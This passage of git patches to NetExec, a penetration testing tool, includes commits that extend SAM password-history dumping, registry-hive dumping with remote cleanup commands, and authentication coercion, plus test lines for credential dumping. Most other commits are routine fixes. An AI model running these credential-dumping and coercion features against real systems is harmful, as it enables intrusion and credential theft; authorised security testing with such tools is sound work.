git+https://github.com/fortra/impacket", "oscrypto @ git+https://github.com/wbond/oscrypto", "pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient", - "certihound>=0.1.1", ] [project.urls] From 8424b49e80408f7750382dabf322f531957fc09f Mon Sep 17 00:00:00 2001 From: 0x0Trace <0x0Trace@users.noreply.github.com> Date: Mon, 16 Feb 2026 07:21:22 -0500 Subject: [PATCH 025/165] PR changes 16_02_26 --- nxc/protocols/ldap.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 04984fafc8..fdbc5b0f2d 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1648,11 +1648,11 @@ def bloodhound(self): # ADCS collection is only compatible with BloodHound-CE if "adcs" in collect and not use_bhce: - self.logger.fail("ADCS collection is only compatible with the BloodHound-CE collector") + self.logger.fail("ADCS collection is only compatible with the BloodHound-CE collector, but legacy bloodhound is selected") return if use_bhce and not is_ce: - self.logger.fail("Configuration Issue Detected") + self.logger.fail("⚠️ Configuration Issue Detected ⚠️") self.logger.fail(f"Your configuration has BloodHound-CE enabled, but the regular BloodHound package is installed. Modify your {CONFIG_PATH} config file or follow the instructions:") self.logger.fail("Please run the following commands to fix this:") self.logger.fail("poetry remove bloodhound-ce # poetry falsely recognizes bloodhound-ce as a the old bloodhound package") @@ -1664,7 +1664,7 @@ def bloodhound(self): return elif not use_bhce and is_ce: - self.logger.fail("Configuration Issue Detected") + self.logger.fail("⚠️ Configuration Issue Detected ⚠️") self.logger.fail("Your configuration has regular BloodHound enabled, but the BloodHound-CE package is installed.") self.logger.fail("Please run the following commands to fix this:") self.logger.fail("poetry remove bloodhound-ce") From 9af3e37d7129b884014f8f4fae6b39fa39fb22ca Mon Sep 17 00:00:00 2001 From: 0x0Trace <0x0Trace@users.noreply.github.com> Date: Mon, 16 Feb 2026 09:48:09 -0500 Subject: [PATCH 026/165] PR changes 16_02_26_comments_newline_fixes --- nxc/protocols/ldap.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index fdbc5b0f2d..1761d121b4 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1652,24 +1652,28 @@ def bloodhound(self): return if use_bhce and not is_ce: - self.logger.fail("⚠️ Configuration Issue Detected ⚠️") + self.logger.fail("⚠️ Configuration Issue Detected ⚠️") self.logger.fail(f"Your configuration has BloodHound-CE enabled, but the regular BloodHound package is installed. Modify your {CONFIG_PATH} config file or follow the instructions:") self.logger.fail("Please run the following commands to fix this:") self.logger.fail("poetry remove bloodhound-ce # poetry falsely recognizes bloodhound-ce as a the old bloodhound package") self.logger.fail("poetry add bloodhound-ce") self.logger.fail("") + + # If using pipx self.logger.fail("Or if you installed with pipx:") self.logger.fail("pipx runpip netexec uninstall -y bloodhound") self.logger.fail("pipx inject netexec bloodhound-ce --force") return elif not use_bhce and is_ce: - self.logger.fail("⚠️ Configuration Issue Detected ⚠️") + self.logger.fail("⚠️ Configuration Issue Detected ⚠️") self.logger.fail("Your configuration has regular BloodHound enabled, but the BloodHound-CE package is installed.") self.logger.fail("Please run the following commands to fix this:") self.logger.fail("poetry remove bloodhound-ce") self.logger.fail("poetry add bloodhound") self.logger.fail("") + + # If using pipx self.logger.fail("Or if you installed with pipx:") self.logger.fail("pipx runpip netexec uninstall -y bloodhound-ce") self.logger.fail("pipx inject netexec bloodhound --force") From d06d179d14e2c9a5acb34e20ad5483c162806836 Mon Sep 17 00:00:00 2001 From: Coontzy1 Date: Thu, 5 Feb 2026 23:46:57 -0500 Subject: [PATCH 027/165] SAM History Dumping smb: update proto args tests: add --sam --history example --- nxc/protocols/smb.py | 7 ++++++- nxc/protocols/smb/proto_args.py | 3 +-- tests/e2e_commands.txt | 1 + 3 files changed, 8 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 491bf2f1a7..51847363b2 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1958,8 +1958,9 @@ def sam(self): host_id = self.db.get_hosts(filter_term=self.host)[0][0] def add_sam_hash(sam_hash, host_id): - add_sam_hash.sam_hashes += 1 self.logger.highlight(sam_hash) + if "_history" in sam_hash: + return username, _, lmhash, nthash, _, _, _ = sam_hash.split(":") self.db.add_credential( "hash", @@ -1968,15 +1969,18 @@ def add_sam_hash(sam_hash, host_id): f"{lmhash}:{nthash}", pillaged_from=host_id, ) + add_sam_hash.sam_hashes += 1 add_sam_hash.sam_hashes = 0 if self.remote_ops and self.bootkey: + history = getattr(self.args, "history", False) if self.args.sam == "regdump": SAM = RegSecretsSAMHashes( self.bootkey, remoteOps=self.remote_ops, perSecretCallback=lambda secret: add_sam_hash(secret, host_id), + history=history, ) else: SAM_file_name = self.remote_ops.saveSAM() @@ -1984,6 +1988,7 @@ def add_sam_hash(sam_hash, host_id): SAM_file_name, self.bootkey, isRemote=True, + history=history, perSecretCallback=lambda secret: add_sam_hash(secret, host_id), ) diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index cde7dcd574..0f442a7b3e 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -37,10 +37,9 @@ def proto_args(parser, parents): # NTDS options kerb_keys_arg = cred_gathering_group.add_argument("--kerberos-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also dump Kerberos AES and DES keys from target DC (NTDS.dit)") exclusive = cred_gathering_group.add_mutually_exclusive_group() - history_arg = exclusive.add_argument("--history", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also retrieve password history from target DC (NTDS.dit)") + cred_gathering_group.add_argument("--history", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also retrieve password history (NTDS.dit or SAM)") enabled_arg = exclusive.add_argument("--enabled", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only dump enabled targets from DC (NTDS.dit)") kerb_keys_arg.make_required = [ntds_arg] - history_arg.make_required = [ntds_arg] enabled_arg.make_required = [ntds_arg] cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)") cred_gathering_group.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem") diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index a574c906bc..78a478df6b 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -26,6 +26,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --local-aut netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --delegate LOGIN_USERNAME netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --delegate LOGIN_USERNAME --self netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam --history netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --history netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --enabled From f8b44d21b33aac1ebbee146ae14a0aabdfe91be1 Mon Sep 17 00:00:00 2001 From: mverschu Date: Wed, 18 Feb 2026 19:59:57 +0100 Subject: [PATCH 028/165] Fix DPAPI credential lookup: add lowercase username for dploot compatibility dploot looks up credentials with user.lower() (e.g. 'administrator'), but we only stored them under context.username (e.g. 'Administrator'). Python dict lookups are case-sensitive, so the credential wasn't found and master keys were never decrypted. Co-authored-by: Cursor --- nxc/protocols/smb/dpapi.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/nxc/protocols/smb/dpapi.py b/nxc/protocols/smb/dpapi.py index 9cbde5262a..8fe5760c8e 100644 --- a/nxc/protocols/smb/dpapi.py +++ b/nxc/protocols/smb/dpapi.py @@ -60,8 +60,10 @@ def collect_masterkeys_from_target(context, target, dploot_connection, user=True nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")} if context.password != "": plaintexts[context.username] = context.password + plaintexts[context.username.lower()] = context.password # dploot matches user.lower() if context.nthash != "": nthashes[context.username] = context.nthash + nthashes[context.username.lower()] = context.nthash # Collect User and Machine masterkeys try: From 156eaf637a37cc4b10971778aea49154f8c99e6b Mon Sep 17 00:00:00 2001 From: PatchRequest Date: Fri, 27 Feb 2026 08:22:00 +0100 Subject: [PATCH 029/165] fix(backup_operator): add random suffix to dump filenames to avoid ERROR_ALREADY_EXISTS --- nxc/modules/backup_operator.py | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 02c8b67a55..b2d4dc9123 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -1,4 +1,6 @@ import contextlib +import random +import string from time import sleep from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations @@ -26,6 +28,7 @@ def options(self, context, module_options): def on_login(self, context, connection): connection.args.share = "SYSVOL" + rand_suffix = "".join(random.choices(string.ascii_lowercase + string.digits, k=8)) # enable remote registry context.log.display("Triggering RemoteRegistry to start through named pipe...") connection.trigger_winreg() @@ -43,7 +46,7 @@ def on_login(self, context, connection): for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: hRootKey, subKey = self._strip_root_key(dce, hive) - outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}" + outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}" context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)") try: ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ) @@ -62,7 +65,7 @@ def on_login(self, context, connection): # copy remote file to local log_path = f"{connection.output_filename}." for hive in ["SAM", "SECURITY", "SYSTEM"]: - connection.get_file_single(hive, log_path + hive) + connection.get_file_single(f"{hive}_{rand_suffix}", log_path + hive) # read local file try: @@ -97,16 +100,17 @@ def parse_sam(secret): context.log.fail(f"Fail to dump the NTDS: {e!s}") context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}") - connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM") + connection.execute(f"del C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SAM_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SYSTEM_{rand_suffix}") sleep(0.2) for hive in ["SAM", "SECURITY", "SYSTEM"]: + remote_name = f"{hive}_{rand_suffix}" try: - out = connection.conn.listPath("SYSVOL", hive) + out = connection.conn.listPath("SYSVOL", remote_name) if out: self.deleted_files = False - context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}") + context.log.fail(f"Fail to remove the file {remote_name}, path: C:\\Windows\\sysvol\\sysvol\\{remote_name}") except SessionError as e: - context.log.debug(f"File {hive} successfully removed: {e}") + context.log.debug(f"File {remote_name} successfully removed: {e}") else: self.deleted_files = False else: @@ -114,7 +118,7 @@ def parse_sam(secret): if not self.deleted_files: context.log.display("Use the domain admin account to clean the file on the remote host") - context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"") # noqa: Q003 + context.log.display(f"netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SAM_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SYSTEM_{rand_suffix}\"") # noqa: Q003 else: context.log.display("Successfully deleted dump files !") From 41b3fc26177e5ddb9dc29f7f98ee1cee77b076ea Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Tue, 3 Mar 2026 11:27:05 -0500 Subject: [PATCH 030/165] fix(coerce_plus): move get_dynamic_endpoint back to module-level function Commit 81c6d9fb (PR #866) moved get_dynamic_endpoint from a module-level function to a @staticmethod on NXCModule. This broke coerce_plus when used with any other -M module that loads after it, because the module loader uses the same sys.modules key for all modules, causing the NXCModule class reference to be overwritten by whichever module loads last. As a module-level function, get_dynamic_endpoint is not resolved through the NXCModule class name and is unaffected by the collision. Also makes the [dcerpc] endpoint resolution lazy so it only runs when that pipe is actually selected, avoiding an unnecessary network call to port 135 on every target. Co-Authored-By: Claude Opus 4.6 --- nxc/modules/coerce_plus.py | 21 +++++++++++---------- 1 file changed, 11 insertions(+), 10 deletions(-) diff --git a/nxc/modules/coerce_plus.py b/nxc/modules/coerce_plus.py index 64cbf7f8ff..95722581ce 100644 --- a/nxc/modules/coerce_plus.py +++ b/nxc/modules/coerce_plus.py @@ -212,14 +212,14 @@ def on_login(self, context, connection): context.log.error("Invalid method, please check the method name.") return - @staticmethod - def get_dynamic_endpoint(interface: bytes, target: str, timeout: int = 5) -> str: - string_binding = rf"ncacn_ip_tcp:{target}[135]" - rpctransport = transport.DCERPCTransportFactory(string_binding) - rpctransport.set_connect_timeout(timeout) - dce = rpctransport.get_dce_rpc() - dce.connect() - return epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce) + +def get_dynamic_endpoint(interface: bytes, target: str, timeout: int = 5) -> str: + string_binding = rf"ncacn_ip_tcp:{target}[135]" + rpctransport = transport.DCERPCTransportFactory(string_binding) + rpctransport.set_connect_timeout(timeout) + dce = rpctransport.get_dce_rpc() + dce.connect() + return epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce) class ShadowCoerceTrigger: @@ -541,7 +541,7 @@ def connect(self, username, password, domain, lmhash, nthash, aesKey, target, do # activates EFS # https://specterops.io/blog/2025/08/19/will-webclient-start/ with contextlib.suppress(Exception): - NXCModule.get_dynamic_endpoint(uuidtup_to_bin(("df1941c5-fe89-4e79-bf10-463657acf44d", "0.0")), target, timeout=1) + get_dynamic_endpoint(uuidtup_to_bin(("df1941c5-fe89-4e79-bf10-463657acf44d", "0.0")), target, timeout=1) rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"]) rpctransport.set_dport(445) @@ -778,11 +778,12 @@ def connect(self, username, password, domain, lmhash, nthash, aesKey, target, do "port": 445 }, "[dcerpc]": { - "stringBinding": NXCModule.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target), "MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"), "port": None } } + if pipe == "[dcerpc]": + binding_params["[dcerpc]"]["stringBinding"] = get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target) rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"]) if binding_params[pipe]["port"] is not None: rpctransport.set_dport(binding_params[pipe]["port"]) From 82ff6b63e78f861686ce7b982af277ff78c53478 Mon Sep 17 00:00:00 2001 From: lap1nou Date: Tue, 3 Mar 2026 23:18:54 +0100 Subject: [PATCH 031/165] db: do not add credential if guest or null auth --- nxc/protocols/smb.py | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 491bf2f1a7..c33accb07f 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -448,11 +448,12 @@ def plaintext_login(self, domain, username, password): if "Unix" not in self.server_os: self.check_if_admin() - self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") - self.db.add_credential("plaintext", domain, self.username, self.password) - user_id = self.db.get_credential("plaintext", domain, self.username, self.password) - host_id = self.db.get_hosts(self.host)[0].id - self.db.add_loggedin_relation(user_id, host_id) + if not self.is_guest and (self.username and self.password): + self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") + self.db.add_credential("plaintext", domain, self.username, self.password) + user_id = self.db.get_credential("plaintext", domain, self.username, self.password) + host_id = self.db.get_hosts(self.host)[0].id + self.db.add_loggedin_relation(user_id, host_id) out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_guest()}{self.mark_pwned()}" self.logger.success(out) @@ -514,10 +515,11 @@ def hash_login(self, domain, username, ntlm_hash): if "Unix" not in self.server_os: self.check_if_admin() - self.db.add_credential("hash", domain, self.username, self.hash) - user_id = self.db.get_credential("hash", domain, self.username, self.hash) - host_id = self.db.get_hosts(self.host)[0].id - self.db.add_loggedin_relation(user_id, host_id) + if not self.is_guest and (self.username and self.hash): + self.db.add_credential("hash", domain, self.username, self.hash) + user_id = self.db.get_credential("hash", domain, self.username, self.hash) + host_id = self.db.get_hosts(self.host)[0].id + self.db.add_loggedin_relation(user_id, host_id) out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_guest()}{self.mark_pwned()}" self.logger.success(out) From 77d2c1c12af6813751cfb1d4fb6d30f0a94f59df Mon Sep 17 00:00:00 2001 From: Eliotsehr Date: Thu, 5 Mar 2026 13:01:25 +0100 Subject: [PATCH 032/165] Fix authentication from CCACHE when using kerberos S4U over SMB --- nxc/protocols/smb/kerberos.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/smb/kerberos.py b/nxc/protocols/smb/kerberos.py index d34795b63d..c8a3d2ba05 100644 --- a/nxc/protocols/smb/kerberos.py +++ b/nxc/protocols/smb/kerberos.py @@ -21,12 +21,13 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, use_cache, no_s4u2proxy=False): my_tgt = None if use_cache: - domain, _, tgt, _ = CCache.parseFile(domain, username, f"cifs/{hostname}") - if my_tgt is None: + domain, _, tgt, _ = CCache.parseFile(domain, username) + if tgt is None: raise my_tgt = tgt["KDC_REP"] cipher = tgt["cipher"] session_key = tgt["sessionKey"] + my_tgt = decoder.decode(my_tgt, asn1Spec=AS_REP())[0] if my_tgt is None: principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) nxc_logger.debug("Getting TGT for user") From e820d968336d600939d22520c30531b35691bbf2 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 11 Mar 2026 06:00:16 -0400 Subject: [PATCH 033/165] Match entire string and add source for error msgs --- nxc/modules/add-computer.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/nxc/modules/add-computer.py b/nxc/modules/add-computer.py index bde9035852..7135872e9d 100644 --- a/nxc/modules/add-computer.py +++ b/nxc/modules/add-computer.py @@ -177,9 +177,10 @@ def do_samr_add(self): self.context.db.add_credential("plaintext", self.__domain, self.__computerName, self.__computerPassword) except Exception as e: self.context.log.debug(f"samrCreateUser2InDomain failed: {e}") - if "doesn't have the right to create a new machine account" in str(e): + # See error codes at: https://github.com/fortra/impacket/blob/8c155a5b492e8b0f9d08e5ca82b72c91d76f5c7f/impacket/dcerpc/v5/samr.py#L2591 + if "Authenticating account doesn't have the right to create a new machine account!" in str(e): self.context.log.fail(f"The following user does not have the right to create a computer account: {self.__username}") - elif "machine account quota exceeded!": + elif "Authenticating account's machine account quota exceeded!" in str(e): self.context.log.fail(f"The following user exceeded their machine account quota: {self.__username}") return From 282fbe1ee1879b120c3754c51595a7c6c5e420fb Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 11 Mar 2026 06:07:18 -0400 Subject: [PATCH 034/165] Align hashes with lm:nt as required in the docstring --- nxc/modules/certipy-find.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/certipy-find.py b/nxc/modules/certipy-find.py index 3a5e0c1464..ef6884cfbc 100644 --- a/nxc/modules/certipy-find.py +++ b/nxc/modules/certipy-find.py @@ -75,7 +75,7 @@ def on_login(self, context, connection): username=connection.username, password=connection.password, remote_name=connection.remoteName, - hashes=connection.hash, + hashes=f"{connection.lmhash}:{connection.nthash}", lmhash=connection.lmhash, nthash=connection.nthash, do_kerberos=connection.kerberos, From bad31bccb57a6315df279e7aeee073ba95faccb6 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 11 Mar 2026 06:18:12 -0400 Subject: [PATCH 035/165] Improve clarity when login times out --- nxc/protocols/smb.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index c594ce6172..7a07192cde 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -489,7 +489,8 @@ def plaintext_login(self, domain, username, password): self.inc_failed_login(username) return False except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e: - self.logger.fail(f"Connection Error: {e}") + desc = e.getErrorString() if hasattr(e, "getErrorString") else str(e) + self.logger.fail(f"{domain}\\{self.username}:{process_secret(self.password)} {desc}") return False except BrokenPipeError: self.logger.fail("Broken Pipe Error while attempting to login") @@ -553,7 +554,8 @@ def hash_login(self, domain, username, ntlm_hash): self.inc_failed_login(self.username) return False except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e: - self.logger.fail(f"Connection Error: {e}") + desc = e.getErrorString() if hasattr(e, "getErrorString") else str(e) + self.logger.fail(f"{domain}\\{self.username}:{process_secret(self.password)} {desc}") return False except BrokenPipeError: self.logger.fail("Broken Pipe Error while attempting to login") From 1b9c93eb36cafadc828d349e85c59c79209b0497 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 11 Mar 2026 07:07:03 -0400 Subject: [PATCH 036/165] Use internal gen_random_string --- nxc/modules/backup_operator.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index b2d4dc9123..c6336ed064 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -1,13 +1,11 @@ import contextlib -import random -import string from time import sleep from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations from impacket.smbconnection import SessionError from impacket.dcerpc.v5 import transport, rrp from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE -from nxc.helpers.misc import CATEGORY +from nxc.helpers.misc import CATEGORY, gen_random_string class NXCModule: @@ -28,7 +26,8 @@ def options(self, context, module_options): def on_login(self, context, connection): connection.args.share = "SYSVOL" - rand_suffix = "".join(random.choices(string.ascii_lowercase + string.digits, k=8)) + rand_suffix = gen_random_string(8) + # enable remote registry context.log.display("Triggering RemoteRegistry to start through named pipe...") connection.trigger_winreg() From 2b5b92b21fe29798b0fbafb09847844cd9e21550 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 11 Mar 2026 07:31:49 -0400 Subject: [PATCH 037/165] Formatting --- nxc/protocols/smb.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index c33accb07f..88a80238d9 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -455,8 +455,7 @@ def plaintext_login(self, domain, username, password): host_id = self.db.get_hosts(self.host)[0].id self.db.add_loggedin_relation(user_id, host_id) - out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_guest()}{self.mark_pwned()}" - self.logger.success(out) + self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_guest()}{self.mark_pwned()}") if not self.args.local_auth and self.username != "": add_user_bh(self.username, self.domain, self.logger, self.config) @@ -521,8 +520,7 @@ def hash_login(self, domain, username, ntlm_hash): host_id = self.db.get_hosts(self.host)[0].id self.db.add_loggedin_relation(user_id, host_id) - out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_guest()}{self.mark_pwned()}" - self.logger.success(out) + self.logger.success(f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_guest()}{self.mark_pwned()}") if not self.args.local_auth and self.username != "": add_user_bh(self.username, self.domain, self.logger, self.config) From 011416bd0cde9d2c2dbf7fafc609e1fb392d7b48 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 11 Mar 2026 07:56:05 -0400 Subject: [PATCH 038/165] Get username from TGT/ST if not supplied --- nxc/connection.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/nxc/connection.py b/nxc/connection.py index 6d24182033..062b91c139 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -22,6 +22,7 @@ from nxc.helpers.pfx import pfx_auth from impacket.dcerpc.v5 import transport +from impacket.krb5.ccache import CCache sem = BoundedSemaphore(1) global_failed_logins = 0 @@ -552,7 +553,7 @@ def login(self): if self.args.use_kcache: self.logger.debug("Trying to authenticate using Kerberos cache") with sem: - username = self.args.username[0] if len(self.args.username) else "" + username = self.args.username[0] if len(self.args.username) else CCache.parseFile()[1] password = self.args.password[0] if len(self.args.password) else "" self.kerberos_login(self.domain, username, password, "", "", self.kdcHost, True) self.logger.info("Successfully authenticated using Kerberos cache") From d41ff46e1406ca3fa7a1fbedea5641038b772ffc Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 11 Mar 2026 07:58:45 -0400 Subject: [PATCH 039/165] Remove obsolete parsing for ccache inside ldap --- nxc/protocols/ldap.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index d96b996d41..635f8a48e2 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -319,7 +319,6 @@ def enum_host_info(self): self.domain = self.args.domain elif self.args.use_kcache: # Fixing domain trust, just pull the auth domain out of the ticket self.domain = CCache.parseFile()[0] - self.username = CCache.parseFile()[1] else: self.domain = self.targetDomain @@ -363,7 +362,7 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", self.logger.fail("Simple bind and Kerberos authentication are mutually exclusive.") return False - self.username = username if not self.args.use_kcache else self.username # With ccache we get the username from the ticket + self.username = username self.password = password self.domain = domain self.kdcHost = kdcHost From 3ac03b68d19e8a89790ac877cc9276e14034e3a4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 11 Mar 2026 14:05:42 -0400 Subject: [PATCH 040/165] Remove duplicate line --- nxc/protocols/smb/dpapi.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/smb/dpapi.py b/nxc/protocols/smb/dpapi.py index 8fe5760c8e..8de80c6197 100644 --- a/nxc/protocols/smb/dpapi.py +++ b/nxc/protocols/smb/dpapi.py @@ -58,11 +58,10 @@ def collect_masterkeys_from_target(context, target, dploot_connection, user=True if user: plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")} nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")} + # dploot matches user.lower() if context.password != "": - plaintexts[context.username] = context.password - plaintexts[context.username.lower()] = context.password # dploot matches user.lower() + plaintexts[context.username.lower()] = context.password if context.nthash != "": - nthashes[context.username] = context.nthash nthashes[context.username.lower()] = context.nthash # Collect User and Machine masterkeys From b3122632f5cadda4daa276c3895bf44d507954c5 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 11 Mar 2026 15:34:58 -0400 Subject: [PATCH 041/165] Fix lock file --- poetry.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/poetry.lock b/poetry.lock index 4c64d37794..87f197cb62 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 2.1.3 and should not be changed by hand. +# This file is automatically @generated by Poetry 2.2.1 and should not be changed by hand. [[package]] name = "aardwolf" @@ -2434,7 +2434,7 @@ tests = ["pytest", "pytest-cov"] [[package]] name = "terminaltables3" version = "4.0.0" -description = "Generate simple tables in terminals from a nested list of strings." +description = "Generate simple tables in terminals from a nested list of strings. Fork of terminaltables." optional = false python-versions = ">=3.8" groups = ["main"] @@ -2613,4 +2613,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "b25390c3a761b0c374a68e53c836ef07fd0a3abb3efbe8a4bcb4f2d3dae1c159" +content-hash = "39d9bd04ec6221a5bdba0df32921513eb4cfc7aa3989e76ddce740509bf94f8e" From 78902ee3ee7efafc6c1d1221388880dcae1bff2f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 11 Mar 2026 15:53:40 -0400 Subject: [PATCH 042/165] Don't follow symlinks and especially don't reconnect because this doesn't help --- nxc/modules/spider_plus.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/nxc/modules/spider_plus.py b/nxc/modules/spider_plus.py index a675b7d8b8..c3ef4be0e0 100755 --- a/nxc/modules/spider_plus.py +++ b/nxc/modules/spider_plus.py @@ -125,6 +125,8 @@ def list_path(self, share, subfolder): self.logger.debug(f'Cannot list files in folder "{subfolder}".') elif "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): self.logger.debug(f"The folder {subfolder} does not exist.") + elif 